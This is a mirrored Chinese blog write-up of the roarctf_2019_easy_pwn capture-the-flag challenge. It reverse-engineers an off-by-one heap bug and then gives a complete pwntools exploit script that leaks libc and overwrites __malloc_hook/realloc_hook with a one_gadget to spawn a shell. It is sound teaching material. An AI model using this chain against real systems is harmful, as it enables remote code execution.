zoukankan      html  css  js  c++  java
  • roarctf_2019_easy_pwn

    常规检查

    逆向分析

    Note system
    1. create a note
    2. write note
    3. drop the note
    4. show the note
    5. exit
    choice: 
    
    

    create 函数

        *(&unk_202040 + 4 * i) = 1;
        *(&unk_202044 + 4 * i) = v4;
        qword_202048[2 * i] = v5;
    
    
    • *(&unk_202040 + 4 * i):置 1 记录 chunk 已创建
    • *(&unk_202044 + 4 * i):存放 chunk 的大小
    • qword_202048[2 * i]:存储 chnk 的地址

    write 函数

        v4 = sub_E26(*(&unk_202044 + 4 * v3), v2);
        printf("content: ");
        v2 = sub_D92(qword_202048[2 * v3], v4);
    
    
    __int64 __fastcall sub_E26(signed int a1, unsigned int a2)
    {
      __int64 result; // rax
    
      if ( a1 > a2 )
        return a2;
      if ( a2 - a1 == 10 )
        LODWORD(result) = a1 + 1;
      else
        LODWORD(result) = a1;
      return result;
    }
    
    • sub_E26(*(&unk_202044 + 4 * v3), v2):存在 off-by-one 漏洞
    • sub_D92(qword_202048[2 * v3], v4):将 v4 字节大小的内容写入 qword_202048[2 * v3] 对应的块地址。

    drop 函数

        *(&unk_202040 + 4 * v0) = 0;
        *(&unk_202044 + 4 * v0) = 0;
        free(qword_202048[2 * v0]);
        qword_202048[2 * v2] = 0LL;
    
    • 将记录 chunk 创建的 1 置 0 。
    • 将记录 chunk 的大小置 0。
    • free 掉对应的 chunk 。
    • 将存储的 chunk 指针置 0。

    show 函数

          printf("content: ", v2);
          LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *(&unk_202044 + 4 * SHIDWORD(v2)));
    
    • 打印 qword_202048[2 * SHIDWORD(v2)] 对应块的 *(&unk_202044 + 4 * SHIDWORD(v2) 个字节的内容。

    利用思路

    • off by one 泄露 main_arena 地址,从而计算 其他 libc 函数地址
    • 迁移 top chunk 防止其与 uaf 的 fastbin 合并
    • fastbin attack 任意写
    • 利用 realloc_hook 达成 one_gadget 条件

    exp 脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('./roarctf_2019_easy_pwn')
    pdbg.local()
    pdbg.remote('node3.buuoj.cn',25308)
    io = pdbg.run('remote')
    libc = pdbg.libc
    
    def add(size):
        io.recvuntil('choice: ')
        io.sendline('1')
        io.recvuntil('size:')
        io.sendline(str(size))
    
    def edit(index,size,data):
        io.recvuntil('choice: ')
        io.sendline('2')
        io.recvuntil('index:')
        io.sendline(str(index))
        io.recvuntil('size:')
        io.sendline(str(size))
        io.recvuntil('content:')
        io.send(data)
    
    def free(index):
        io.recvuntil('choice: ')
        io.sendline('3')
        io.recvuntil('index:')
        io.sendline(str(index))
    
    def show(index):
        io.recvuntil('choice: ')
        io.sendline('4')
        io.recvuntil('index:')
        io.sendline(str(index))   
    
    add(0x18)#0
    add(0x18)#1
    add(0x88)#2
    add(0x88)#3
    
    add(0x28)#4
    add(0x28)#5
    add(0x68)#6
    
    edit(0,34,'a'*0x18+p8(0xb1))#edit chunk_size
    free(1)
    add(0xa8)#1
    edit(1,0x20,'a'*0x18+p64(0x91))#设置 chunk 2 的大小为 small bin
    free(2)
    show(1)    #泄露 main_arena 的地址
    io.recvuntil('content: ')
    io.recv(0x20)
    libc_base=u64(io.recv(8))-0x3c4b78
    print(hex(libc_base))
    malloc_hook=libc_base+libc.sym['__malloc_hook']
    realloc = libc_base + libc.symbols['__libc_realloc']
    one_gadget=libc_base+0x4526a
    
    #gdb.attach(io)
    
    edit(4,50,'a'*0x28+p8(0xa1))
    free(5)    #迁移 top chunk ,防止 free chunk 6 的时候 chunk 与 top chunk 合并
    free(6)
    add(0x98)#2
    
    edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23)) #fastbin attack 任意地址写
    
    add(0x68)#5
    add(0x68)#6
    edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc+16)) #利用 ralloc_hook 改变栈环境达成 one_gadget 的条件
    #gdb.attach(io)
    add(0x10)
    io.interactive()
    
    

    内容来源

    【pwn】roarctf_2019_easy_pwn

  • 相关阅读:
    面向接口编程详解(二)——编程实例
    面向接口编程详解(一)——思想基础
    设计模式之面向接口编程
    EF数据注解
    很多人不知道可以使用这种 key 的方式来对 Vue 组件时行重新渲染
    这是最新的一波Vue实战技巧,不用则已,一用惊人
    Node.js 进阶-你应该知道的 npm 知识都在这
    Vue响应式原理
    eslint规则
    简述vue-cli中chainWebpack的使用方法
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12380696.html
Copyright © 2011-2022 走看看